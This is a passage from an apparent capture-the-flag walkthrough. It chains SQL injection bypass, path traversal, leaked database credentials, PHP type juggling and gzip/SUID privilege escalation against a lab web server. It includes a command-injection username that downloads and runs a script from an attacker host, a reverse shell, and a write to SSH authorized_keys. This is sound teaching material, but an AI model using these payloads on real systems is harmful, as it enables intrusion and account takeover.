FROM users WHERE 0=0;\nSELECT * FROM users WHERE TRUE;<\/code><\/pre>\n\n\n\n<p>This creates an always-true condition <em>and<\/em> bypasses the SQL Injection filter in the application, successfully logging us in when put in both the username and password:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u '&quot;DIV&quot;1:&quot;DIV&quot;1' 'http:\/\/10.8.0.82\/'\n&lt;!doctype html&gt;\n&lt;html lang=en&gt;\n&lt;title&gt;Redirecting...&lt;\/title&gt;\n&lt;h1&gt;Redirecting...&lt;\/h1&gt;\n&lt;p&gt;You should be redirected automatically to the target URL: &lt;a href=&quot;\/ftp\/&quot;&gt;\/ftp\/&lt;\/a&gt;. If not, click the link.<\/code><\/pre>\n\n\n\n<p>This allows us to look at the authenticated <code>\/ftp\/<\/code> page.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web Application: Local File Read<\/h2>\n\n\n\n<p>After authenticating, the web page looks like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/'\n&lt;h1&gt;WebFTP&lt;\/h1&gt;\n&lt;ul&gt;\n &lt;li&gt;&lt;a href=&quot;\/ftp\/?filename=file.txt&quot;&gt;file.txt&lt;\/a&gt;&lt;\/li&gt;\n &lt;li&gt;&lt;a href=&quot;\/ftp\/dir&quot;&gt;dir\/&lt;\/a&gt;&lt;\/li&gt;\n&lt;\/ul&gt;\n&lt;form method=&quot;post&quot; enctype=&quot;multipart\/form-data&quot;&gt;\n &lt;input type=&quot;file&quot; name=&quot;file&quot; \/&gt;\n &lt;input type=&quot;submit&quot; value=&quot;Upload&quot; \/&gt;\n&lt;\/form&gt;<\/code><\/pre>\n\n\n\n<p>We can upload and download files here, like an FTP server. All endpoints detect the use of <code>..\/<\/code> for path traversal vulnerabilities, but one parameter misses this check. When downloading the file, the URL path and filename parameter are appended together. This URL path that serves as the directory is missing a <code>..\/<\/code> check, allowing it to traverse to any directory:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Tip<\/strong>: When using curl or the browser, <code>..\/<\/code> sequences in the path are automatically removed and won&#x2019;t be sent to the remote server. Use a proxy like Burp Suite or the <code>--path-as-is<\/code> argument to have more control.<\/p>\n<\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/..\/..\/etc?filename=passwd'\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\n...<\/code><\/pre>\n\n\n\n<p>This allows us to enumerate the server. From looking at the headers, we know that a Python server is hosting this application. Using only a single <code>..\/<\/code> sequence, we can hopefully traverse outside of the <code>files\/<\/code> directory into the source code. Then, Python applications often have a <code>requirements.txt<\/code> file which we can read to confirm:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=requirements.txt'\nFlask\nFlask-HTTPAuth\nmariadb<\/code><\/pre>\n\n\n\n<p>Next, we can try to find the source code itself in <code>app.py<\/code> or <code>main.py<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=app.py'\nFile not found\n$ curl --path-as-is -u 'user:Hello from the other side' 'http:\/\/10.8.0.82\/ftp\/..\/?filename=main.py'\nfrom flask import Flask, redirect, render_template, request, send_file, Response\nfrom flask_httpauth import HTTPBasicAuth\n...<\/code><\/pre>\n\n\n\n<p>Great, we found the main source code file. Here, we find a database configuration with credentials. We remember from the <code>nmap<\/code> output that MySQL is exposed to the outside, so we can try to connect to it.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>app = Flask(__name__)\nauth = HTTPBasicAuth()\nDB_CONFIG = {\n    'host': 'localhost',\n    'port': 3306,\n    'user': 'webftp',\n    'password': 'D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07',\n    'database': 'webftp'\n}\n...\n@auth.verify_password\ndef verify_password(username, password):\n    for input in [username, password]:\n        for blocked in [&quot;UNION&quot;, &quot;SELECT&quot;, &quot;WHERE&quot;, &quot;AND&quot;, &quot;OR&quot;, &quot;XOR&quot;, &quot;LIKE&quot;, &quot;RLIKE&quot;, &quot;REGEXP&quot;]:\n            if re.search(rf&quot;\\b{re.escape(blocked)}\\b&quot;, input, re.IGNORECASE):\n                raise ValueError(f&quot;Blocked keyword: {blocked!r}&quot;)\n        for blocked in &quot;()&amp;|^=&lt;&gt;+-*\/%&quot;:\n            if blocked in input:\n                raise ValueError(f&quot;Blocked symbol: {blocked!r}&quot;)\n\n    data = sql_query(\n        f&quot;SELECT username FROM users WHERE username=\\&quot;%s\\&quot; AND password=\\&quot;%s\\&quot;&quot; % (username, password))\n\n    if len(data) &gt; 0:\n        os.system(f&quot;echo '{data[0][0]} logged in' &gt;&gt; \/var\/log\/webftp.log&quot;)\n        return True<\/code><\/pre>\n\n\n\n<p>We can also notice the <code>verify_password()<\/code> function with the SQL Injection filter from earlier, as well as a suspicious <code>os.system()<\/code> call with output from the SQL query.<\/p>\n\n\n\n<p>Let&#x2019;s connect to the database and enumerate it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ mysql -h 10.8.0.82 -u webftp -p webftp\nEnter password: D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07\n\nMariaDB [webftp]&gt; show tables;\n+------------------+\n| Tables_in_webftp |\n+------------------+\n| flag             |\n| users            |\n+------------------+\n2 rows in set (0.019 sec)\n\nMariaDB [webftp]&gt; select * from flag;\n+--------------------------------------------------+\n| flag                                             |\n+--------------------------------------------------+\n| CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!} |\n+--------------------------------------------------+\n1 row in set (0.023 sec)<\/code><\/pre>\n\n\n\n<p>Another flag found: <code>CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web Application: Command Injection<\/h2>\n\n\n\n<p>Above we have just gotten access to the database, and found the logic of logging in. <code>os.system()<\/code> is called with the username after a successful login, input enclosed on <code>'<\/code> quotes. We could inject <code>'; id; '<\/code> to execute an arbitrary <code>id<\/code> command. The user doesn&#x2019;t exist yet, but with access to the database, we can create it. Note that if we want to input the username later, we need to still bypass the blocked characters from the SQL Injection filter. Either by finding the initial Login Bypass which doesn&#x2019;t require inputting the username, or by making a payload that doesn&#x2019;t require any blocked characters:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>MariaDB [webftp]&gt; UPDATE users SET username=&quot;';rm index.html;wget 10.9.0.77;sh index.html;'&quot;;\nQuery OK, 1 row affected (0.055 sec)\nRows matched: 1  Changed: 1  Warnings: 0\n\nMariaDB [webftp]&gt; select * from users;\n+----+------------------------------------------------+---------------------------+\n| id | username                                       | password                  |\n+----+------------------------------------------------+---------------------------+\n|  1 | ';rm index.html;wget 10.9.0.77;sh index.html;' | hello from the other side |\n+----+------------------------------------------------+---------------------------+\n1 row in set (0.024 sec)\n<a href=\"#web-application-command-injection\"><\/a><\/code><\/pre>\n\n\n\n<p>Now we host our payload to download, and a reverse shell, then log in to trigger it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl --path-as-is -u &quot;';rm index.html;wget 10.9.0.77;sh index.html;':Hello from the other side&quot; 'http:\/\/10.8.0.82\/'<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo python3 -m http.server 80\nServing HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...\n192.168.96.1 - - [19\/Oct\/2024 21:56:38] &quot;GET \/ HTTP\/1.1&quot; 200 -<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 192.168.96.1 1976\nsh: 0: can't access tty; job control turned off\n$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)<\/code><\/pre>\n\n\n\n<p>We now have a shell! After enumerating the system for a bit, you may notice the <code>\/getflag<\/code> binary:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ls -la \/\ntotal 540\n...\n-rwx--x--x   1 root   root    474704 Oct  2 20:26 getflag<\/code><\/pre>\n\n\n\n<p>Running it will grant one flag of the current user (<code>www-data<\/code>). It also explains that there are two more user flags for the <code>admin<\/code> and <code>root<\/code> user.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ getflag\nGet the flag for the current user. Only 'www-data', 'admin' and 'root' have flags.\nCongratulations!\nwww-data's flag is: CTF{dubdubdub_f0r_y0u_n3v3r_tru5t_th3_d4t4b453}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Environment Variables<\/h2>\n\n\n\n<p>During enumeration, you may have run <a href=\"https:\/\/github.com\/peass-ng\/PEASS-ng\/tree\/master\/linPEAS\" target=\"_blank\" rel=\"noreferrer noopener\">LinPEAS<\/a>. One of its steps is to look at the Environment Variables for interesting information.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ env\nSUPERVISOR_GROUP_NAME=webftp\nHISTCONTROL=ignorespace\nHOSTNAME=8eaa3d121ffd\nPWD=\/opt\/webftp\nHOME=\/root\nFLAG=CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}\nWERKZEUG_SERVER_FD=3\nTERM=xterm-256color\nSHLVL=3\nLC_CTYPE=C.UTF-8\nPS1=$(command printf &quot;\\[\\033[01;31m\\](remote)\\[\\033[0m\\] \\[\\033[01;33m\\]$(whoami)@$(hostname)\\[\\033[0m\\]:\\[\\033[1;36m\\]$PWD\\[\\033[0m\\]\\$ &quot;)\nSUPERVISOR_PROCESS_NAME=webftp\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\nSUPERVISOR_ENABLED=1\n_=\/usr\/bin\/env<\/code><\/pre>\n\n\n\n<p>We find a <code>FLAG<\/code> environment variable containing another flag: <code>CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Internal PHP app: Type Juggling<\/h2>\n\n\n\n<p>After more enumeration, we find a few applications inside <code>\/opt\/<\/code> by various users:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ls -l \/opt\ntotal 16\ndrwx------ 1 root     root     4096 Oct  2 20:25 casino\ndrwxrwxrwx 1 php      php      4096 Oct  2 20:25 signify\ndrwxr-xr-x 1 root     admin    4096 Oct  2 20:25 super-reader\ndrwxrwxrwx 1 www-data www-data 4096 Oct 19 20:01 webftp<\/code><\/pre>\n\n\n\n<p>The <code>signify<\/code> application has a readable <code>index.php<\/code> file, and a non-readable <code>secret.php<\/code> file. Listing the open ports using <code>ss<\/code> internally, we can find a <code>127.0.0.1:8080<\/code> application. This is the Signify application.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ls -l\ntotal 8\n-rw-rw-rw- 1 php php 613 Oct  2 20:25 index.php\n-rw------- 1 php php  95 Oct  2 20:25 secret.php\n\n$ ss -tulpn\nNetid     State      Recv-Q      Send-Q           Local Address:Port            Peer Address:Port     Process\nudp       UNCONN     0           0                   127.0.0.11:52253                0.0.0.0:*\ntcp       LISTEN     0           4096                127.0.0.11:34883                0.0.0.0:*\ntcp       LISTEN     0           80                     0.0.0.0:3306                 0.0.0.0:*\ntcp       LISTEN     0           50                     0.0.0.0:139                  0.0.0.0:*\ntcp       LISTEN     0           128                    0.0.0.0:80                   0.0.0.0:*         users:((&quot;ss&quot;,pid=175,fd=3),(&quot;bash&quot;,pid=133,fd=3),(&quot;sh&quot;,pid=132,fd=3),(&quot;script&quot;,pid=131,fd=3),(&quot;bash&quot;,pid=111,fd=3),(&quot;bash&quot;,pid=110,fd=3),(&quot;sh&quot;,pid=109,fd=3),(&quot;sh&quot;,pid=106,fd=3),(&quot;python3&quot;,pid=50,fd=3))\ntcp       LISTEN     0           4096                 127.0.0.1:8080                 0.0.0.0:*\ntcp       LISTEN     0           128                    0.0.0.0:22                   0.0.0.0:*\ntcp       LISTEN     0           5                      0.0.0.0:1337                 0.0.0.0:*\ntcp       LISTEN     0           50                     0.0.0.0:445                  0.0.0.0:*\ntcp       LISTEN     0           50                        [::]:139                     [::]:*\ntcp       LISTEN     0           128                       [::]:22                      [::]:*\ntcp       LISTEN     0           50                        [::]:445                     [::]:*\n\n$ curl localhost:8080\nNo command provided<\/code><\/pre>\n\n\n\n<p>By reading the source code we can learn what the application expects:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nrequire 'secret.php';\n\nfunction generate_signature($data) {\n    global $signing_key;\n    $hash = hash_hmac('sha256', $data, $signing_key);\n    return substr($hash, 0, 4) . '-' . substr($hash, 4, 4);\n}\n\nif (isset($_GET['command'])) {\n    $command = $_GET['command'];\n    $signature = generate_signature($command);\n    if ($signature == $_GET['signature']) {\n        if (str_starts_with($command, 'getflag')) {\n            echo $flag . &quot;\\n&quot;;\n        } else {\n            die(&quot;Command not found\\n&quot;);\n        }\n    } else {\n        die(&quot;Invalid signature\\n&quot;);\n    }\n} else {\n    die(&quot;No command provided\\n&quot;);\n}<\/code><\/pre>\n\n\n\n<p>The <code>?command=<\/code> parameter must be provided, and a signature based on its value is calculated to then compare with the <code>&amp;signature=<\/code> parameter. If the command starts with <code>getflag<\/code>, a flag is returned.<\/p>\n\n\n\n<p>The signature algorithm seems to be using an unknown <code>$signing_key<\/code> from the <code>secret.php<\/code> file, which we cannot read. We also cannot leak the signature in any way as it is only ever compared, never returned. The comparison happens with a double-equals operator, which is interesting in PHP because it is the <a rel=\"noreferrer noopener\" href=\"https:\/\/www.php.net\/manual\/en\/types.comparisons.php\" target=\"_blank\">&#x201C;loose comparison&#x201D;<\/a> operator. With triple-equals (<code>===<\/code>), types would have to match as well as value to become true. With loose comparison, PHP casts strings to integers in a lot of places, even when directly comparing strings:<\/p>\n\n\n\n<pre id=\"code-95\" class=\"wp-block-code\"><code>$ php -a\nInteractive shell\n\nphp &gt; var_dump(&quot;0&quot; == &quot;00&quot;);\nbool(true)<\/code><\/pre>\n\n\n\n<p>This can lead to what are know as &#x201C;Type Juggling&#x201D; vulnerabilities. When PHP thinks both strings look like numbers, the comparison becomes based on those numbers instead of the strings. Some representations of numbers that PHP recognizes are:<\/p>\n\n\n\n<pre id=\"code-96\" class=\"wp-block-code\"><code>123\n0123\n0.0123\n1e6    = 1000000\n2e-2   = 0.02<\/code><\/pre>\n\n\n\n<p>In our case, the signature is a substring of two parts of a hex sha256 hash:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>a1b2-c3d4<\/p>\n<\/blockquote>\n\n\n\n<p>We learned that type juggling is only possible if both sides of the comparison are seen as a number, including the generated signature we match against. Could this ever be seen as a number? <em>If we get lucky<\/em>, all positions may become numeric*, and the 4th character becomes an <code>e<\/code>. It could look something like this:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>123e-6789<\/p>\n<\/blockquote>\n\n\n\n<p>This would be seen as a number by PHP, and because this scientific notation results in a tiny number, it evaluates to 0. We can match this with our <code>signature=<\/code> value:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>php &gt; var_dump(&quot;123e-6789&quot; == &quot;0&quot;);\nbool(true)<\/code><\/pre>\n\n\n\n<p>We just have to get lucky. Exactly how lucky, we can calculate. 0-9 are good, only a-f are bad characters in all positions (10\/16). One of the positions (index 4) needs to be <code>e<\/code> (1\/16). On average, this should take around <code>1 \/ ((10\/16)**7 * (1\/16)) = 429<\/code> attempts. Not too difficult in a localhost connection.<\/p>\n\n\n\n<p>We can write a script for it, or use a handy feature of <code>curl<\/code> to enumerate all possible characters in a character set to go through lots of different inputs:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -o \/dev\/null -w '%{url}\\n' -s 'http:\/\/localhost:8080\/[1-3][a-c]'\nhttp:\/\/localhost:8080\/1a\nhttp:\/\/localhost:8080\/1b\nhttp:\/\/localhost:8080\/1c\nhttp:\/\/localhost:8080\/2a\nhttp:\/\/localhost:8080\/2b\nhttp:\/\/localhost:8080\/2c\nhttp:\/\/localhost:8080\/3a\nhttp:\/\/localhost:8080\/3b\nhttp:\/\/localhost:8080\/3c\n\n$ curl -s 'http:\/\/localhost:8080\/?command=getflag[1-9][1-9][1-9]&amp;signature=0' | grep -v Invalid\nCTF{c4n_PHP_g3t_3v3n_CR4Z13R?}<\/code><\/pre>\n\n\n\n<p>After around a thousand attempts, we pass the check and get printed the flag: <code>CTF{c4n_PHP_g3t_3v3n_CR4Z13R?}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Privilege Escalation: www-data -&gt; admin using gzip<\/h2>\n\n\n\n<p>Enumerating privilege escalation options as <code>www-data<\/code>, we quickly notice that <code>sudo -l<\/code> shows that we are allowed to execute the <code>gzip<\/code> binary as <code>admin<\/code>:<\/p>\n\n\n\n<pre id=\"code-99\" class=\"wp-block-code\"><code>$ sudo -l\nMatching Defaults entries for www-data on a38f0773842e:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser www-data may run the following commands on a38f0773842e:\n (admin) NOPASSWD: \/bin\/gzip<\/code><\/pre>\n\n\n\n<p>This is interesting, and one common method of exploitation is abusing the functionality of <code>gzip<\/code> in this case to perform actions as <code>admin<\/code> that allow us to become them. The site <a rel=\"noreferrer noopener\" href=\"https:\/\/gtfobins.github.io\/gtfobins\/gzip\/\" target=\"_blank\">GTFOBins<\/a> collects many techniques to abuse these binaries and even has a section for <a rel=\"noreferrer noopener\" href=\"https:\/\/gtfobins.github.io\/gtfobins\/gzip\/\" target=\"_blank\">gzip<\/a>. It says that we can read files with this but not much else.<\/p>\n\n\n\n<p>One idea would be to read the SSH private key of <code>admin<\/code> in their <code>~\/.ssh<\/code> directory, in hopes that they can authenticate as themselves.<\/p>\n\n\n\n<pre id=\"code-100\" class=\"wp-block-code\"><code>$ sudo -u admin gzip -c \/home\/admin\/.ssh\/id_rsa | gzip -d\ngzip: \/home\/admin\/.ssh\/id_rsa: No such file or directory\n\ngzip: stdin: unexpected end of file<\/code><\/pre>\n\n\n\n<p>It doesn&#x2019;t appear that a file named <code>id_rsa<\/code> exists there. There also aren&#x2019;t any other interesting files to read as <code>admin<\/code> that we can find. Instead, we should look for more vulnerabilities we can create with <code>gzip<\/code> ourselves.<\/p>\n\n\n\n<p><code>gzip<\/code> normally takes a <code>.gz<\/code> file as input, decompresses it, and writes it to the same location with <code>.gz<\/code> stripped off the end. One idea we can try is to place a symlink at the location where gzip will try to write the output file, potentially following the symlink and writing to its destination as <code>admin<\/code>. One interesting destination would be <code>\/home\/admin\/.ssh\/authorized_keys<\/code> to add our own keys and authenticate as <code>admin<\/code> through SSH:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cd \/tmp\n$ echo content &gt; keys\n$ gzip keys  # creates keys.gz\n$ ln -s \/tmp\/test keys\n$ ls -l keys*\nlrwxrwxrwx 1 www-data www-data 32 Oct 19 20:38 keys -&gt; \/tmp\/test\n-rw-r--r-- 1 www-data www-data 33 Oct 19 20:38 keys.gz\n$ sudo -u admin gzip -d keys.gz\ngzip: keys already exists; do you wish to overwrite (y or n)? y\ngzip: keys: Operation not permitted<\/code><\/pre>\n\n\n\n<p>Unfortunately, it seems to be unable to overwrite the symlink, presumably because it checks the permissions of the symlink <code>keys<\/code> file itself, owned by <code>www-data<\/code>.<\/p>\n\n\n\n<p>For more ideas, we can check the help page of <code>gzip --help<\/code> to find all possible options:<\/p>\n\n\n\n<pre id=\"code-102\" class=\"wp-block-code\"><code>$ gzip --help\nUsage: gzip [OPTION]... [FILE]...\nCompress or uncompress FILEs (by default, compress FILES in-place).\n\nMandatory arguments to long options are mandatory for short options too.\n\n  -c, --stdout      write on standard output, keep original files unchanged\n  -d, --decompress  decompress\n  -f, --force       force overwrite of output file and compress links\n  -h, --help        give this help\n  -k, --keep        keep (don't delete) input files\n  -l, --list        list compressed file contents\n  -L, --license     display software license\n  -n, --no-name     do not save or restore the original name and timestamp\n  -N, --name        save or restore the original name and timestamp\n  -q, --quiet       suppress all warnings\n  -r, --recursive   operate recursively on directories\n      --rsyncable   make rsync-friendly archive\n  -S, --suffix=SUF  use suffix SUF on compressed files\n      --synchronous synchronous output (safer if system crashes, but slower)\n  -t, --test        test compressed file integrity\n  -v, --verbose     verbose mode\n  -V, --version     display version number\n  -1, --fast        compress faster\n  -9, --best        compress better<\/code><\/pre>\n\n\n\n<p>The only option with input is <code>-S, --suffix=SUF<\/code>. The description &#x201C;use suffix SUF on compressed files&#x201D; explains that it is the suffix instead of <code>.gz<\/code> to add to the path when compressing a file. The <code>-k<\/code> option to keep the original file is also handy for testing. Let&#x2019;s play with these.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ echo content &gt; file\n$ gzip -k -S suffix file\n$ ls -la file*\n-rw-r--r-- 1 www-data www-data  8 Oct 19 20:46 file\n-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 filesuffix\n\n$ gzip -k -S other\/suffix file\ngzip: fileother\/suffix: No such file or directory\n\n$ mkdir fileother\n$ gzip -k file -S other\/suffix\n$ ls -l fileother\ntotal 4\n-rw-r--r-- 1 www-data www-data 33 Oct 19 20:46 suffix<\/code><\/pre>\n\n\n\n<p>Interesting! By providing slashes in the suffix, we can write into a directory. Let&#x2019;s generate an <code>authorized_keys<\/code> file and try it with a directory traversal:<\/p>\n\n\n\n<pre id=\"code-104\" class=\"wp-block-code\"><code>$ cd \/tmp\n$ ssh-keygen -f id_rsa\n$ cp id_rsa.pub authorized_keys\n$ mkdir authorized_keysX\n$ ls -la\ntotal 28\ndrwxrwxrwt 1 root     root     4096 Oct 19 13:29 .\ndrwxr-xr-x 1 root     root     4096 Oct 19 13:15 ..\n-rw-r--r-- 1 www-data www-data  575 Oct 19 13:29 authorized_keys\ndrwxr-xr-x 2 www-data www-data 4096 Oct 19 13:29 authorized_keysX\n-rw------- 1 www-data www-data 2610 Oct 19 13:29 id_rsa\n-rw-r--r-- 1 www-data www-data  575 Oct 19 13:29 id_rsa.pub\n\n$ sudo -u admin gzip -k authorized_keys -S 'X\/..\/..\/tmp\/test.gz'\n$ sudo -u admin gzip -d \/tmp\/test.gz\n$ cat test\nssh-rsa AAA...FoE= www-data@aa237a3bcf50<\/code><\/pre>\n\n\n\n<p>Looking promising&#x2026; We successfully wrote our SSH key to <code>\/tmp\/test<\/code>. Now just change it to the admin&#x2019;s <code>~\/.ssh<\/code> directory!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo -u admin gzip -k authorized_keys -S 'X\/..\/..\/home\/admin\/.ssh\/authorized_keys.gz'\ngzip: invalid suffix 'X\/..\/..\/home\/admin\/.ssh\/authorized_keys.gz'<\/code><\/pre>\n\n\n\n<p>Suddenly, the command gives an <code>invalid suffix<\/code> error. The file cannot be written with this suffix. Checking the <a href=\"https:\/\/github.com\/Distrotech\/gzip\/blob\/94cfaabe3ae7640b8c0334283df37cbdd7f7a0a9\/gzip.c#L541-L544\" target=\"_blank\" rel=\"noreferrer noopener\">gzip source code<\/a>, we can find out why:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#ifdef MAX_EXT_CHARS\n#  define MAX_SUFFIX  MAX_EXT_CHARS\n#else\n#  define MAX_SUFFIX  30\n#endif\n...\nif (z_len == 0 || z_len &gt; MAX_SUFFIX) {\n    fprintf(stderr, &quot;%s: invalid suffix '%s'\\n&quot;, program_name, z_suffix);\n    do_exit(ERROR);\n}<\/code><\/pre>\n\n\n\n<p>If our suffix is larger than 30 characters, it is blocked! The suffix <code>'X\/..\/..\/home\/admin\/.ssh\/authorized_keys.gz'<\/code> is 42 characters long, way too much to fit into 30. We cannot exploit this with a path traversal.<\/p>\n\n\n\n<p>Instead, we can combine this new knowledge with our previous idea of symlink. Instead of linking files, we can link the directories and have a much shorter suffix. By linking <code>fileX<\/code> to <code>\/home\/admin\/.ssh<\/code>, and then gzipping <code>file<\/code> with the suffix <code>X\/authorized_keys.gz<\/code>, the <code>fileX\/authorized_keys.gz<\/code> path is accessed, and expanded to <code>\/home\/admin\/.ssh\/authorized_keys.gz<\/code>. This allows us to decompress it in the next step using <code>-d<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cp id_rsa.pub file\n$ ln -s \/home\/admin\/.ssh fileX\n$ sudo -u admin gzip -k file -S 'X\/authorized_keys.gz'\n$ sudo -u admin gzip -d \/home\/admin\/.ssh\/authorized_keys.gz<\/code><\/pre>\n\n\n\n<p><em>Extra note<\/em>: One player found another clever method that uses the path traversal in multiple steps instead of symlinks. By first writing to <code>\/home\/admin\/.ss<\/code>, they are able to continue from that point of the path with smaller suffixes, circumventing the length limit of 30:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cp id_rsa.pub authorized_keys\n$ mkdir authorized_keysX\n$ sudo -u admin gzip -k \/tmp\/authorized_keys -S 'X\/..\/..\/home\/admin\/.ss.gz'\n$ sudo -u admin gzip -d \/home\/admin\/.ss.gz\n$ sudo -u admin gzip \/home\/admin\/.ss -S 'h\/authorized_keys.gz'\n$ sudo -u admin gzip -d \/home\/admin\/.ssh\/authorized_keys.gz<\/code><\/pre>\n\n\n\n<p>This has successfully written our SSH public key to <code>\/home\/admin\/.ssh\/authorized_keys<\/code>. That means we can now log in as <code>admin<\/code> through SSH:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ssh -i id_rsa admin@localhost\n...\n$ id\nuid=1001(admin) gid=1001(admin) groups=1001(admin),100(users)\n$ getflag\nCongratulations!\nadmin's flag is: CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}<\/code><\/pre>\n\n\n\n<p>Using <code>getflag<\/code> we can obtain the second user flag: <code>CTF{5t4Rt3D_fR0m_Th3_b0tT0m_n0w_W3r3_h3R3}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Privilege Escalation admin -&gt; root using Race Condition<\/h2>\n\n\n\n<p>After becoming the <code>admin<\/code> user, we can now read the <code>\/opt\/superreader<\/code> directory. It contains a SUID binary and its C source code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ls -l \/opt\/super-reader\ntotal 28\n-rwsr-x--- 1 root admin 21264 Oct  2 20:25 main\n-rw-r----- 1 root admin  2061 Oct  2 20:25 main.c<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>void error(const char *msg)\n{\n    if (errno)\n        fprintf(stderr, &quot;\\x1b[31m\\x1b[1mError\\x1b[0m: %s (%s)\\n&quot;, msg, strerror(errno));\n    else\n        fprintf(stderr, &quot;\\x1b[31m\\x1b[1mError\\x1b[0m: %s\\n&quot;, msg);\n    exit(1);\n}\n\nvoid status(const char *msg)\n{\n    fprintf(stderr, &quot;\\x1b[96m\\x1b[1m[~]\\x1b[0m %s...\\n&quot;, msg);\n}\n\nvoid read_file(char *buf, const char *path)\n{\n    FILE *file = fopen(path, &quot;r&quot;);\n    if (file == NULL)\n    {\n        error(&quot;failed to open file!&quot;);\n    }\n    fread(buf, 1, 0x100, file);\n    fclose(file);\n}\n\nint main(int argc, char **argv, char **envp)\n{\n    if (argc &lt; 2)\n    {\n        error(&quot;Usage: super-reader &lt;file&gt;&quot;);\n    }\n\n    setreuid(geteuid(), geteuid());\n    setregid(getegid(), getegid());\n\n    \/\/ Check path\n    if (strncmp(argv[1], &quot;\/tmp\/readerdata&quot;, 15) != 0)\n    {\n        error(&quot;path must start with `\/tmp\/readerdata`&quot;);\n    }\n    else if (strstr(argv[1], &quot;..&quot;) != NULL)\n    {\n        error(&quot;path must not contain `..`&quot;);\n    }\n\n    \/\/ Check symlink\n    status(&quot;Checking for symlink&quot;);\n    struct stat stat_result;\n    if (lstat(argv[1], &amp;stat_result) == -1)\n    {\n        error(&quot;failed to get file status!&quot;);\n    }\n    else if ((stat_result.st_mode &amp; 0xf000) == 0xa000)\n    {\n        error(&quot;file must not be a symlink!&quot;);\n    }\n\n    \/\/ Check file permissions\n    status(&quot;Checking file permissions&quot;);\n    if (stat(argv[1], &amp;stat_result) == -1)\n    {\n        error(&quot;failed to get directory status!&quot;);\n    }\n    else if (stat_result.st_uid != 0)\n    {\n        error(&quot;file must be owned root!&quot;);\n    }\n\n    \/\/ Check content\n    status(&quot;Checking content&quot;);\n    char buf[0x100];\n    read_file(buf, argv[1]);\n    if (strstr(buf, &quot;SAFE_TO_READ&quot;) == NULL)\n    {\n        error(&quot;file must contain `SAFE_TO_READ`!&quot;);\n    }\n\n    \/\/ Read file\n    status(&quot;Reading file&quot;);\n    read_file(buf, argv[1]);\n    printf(&quot;\\x1b[3m%s\\x1b[0m&quot;, buf);\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p>A SUID binary will execute as the user who owns the file. In this case, that will be <code>root<\/code>. It can perform actions as root, such as reading files that we normally cannot as <code>admin<\/code>.<br>We need to specify a path that starts with <code>\/tmp\/readerdata<\/code>. One of the files we find in there is <code>secret.txt<\/code>, so let&#x2019;s try to read it:<\/p>\n\n\n\n<pre 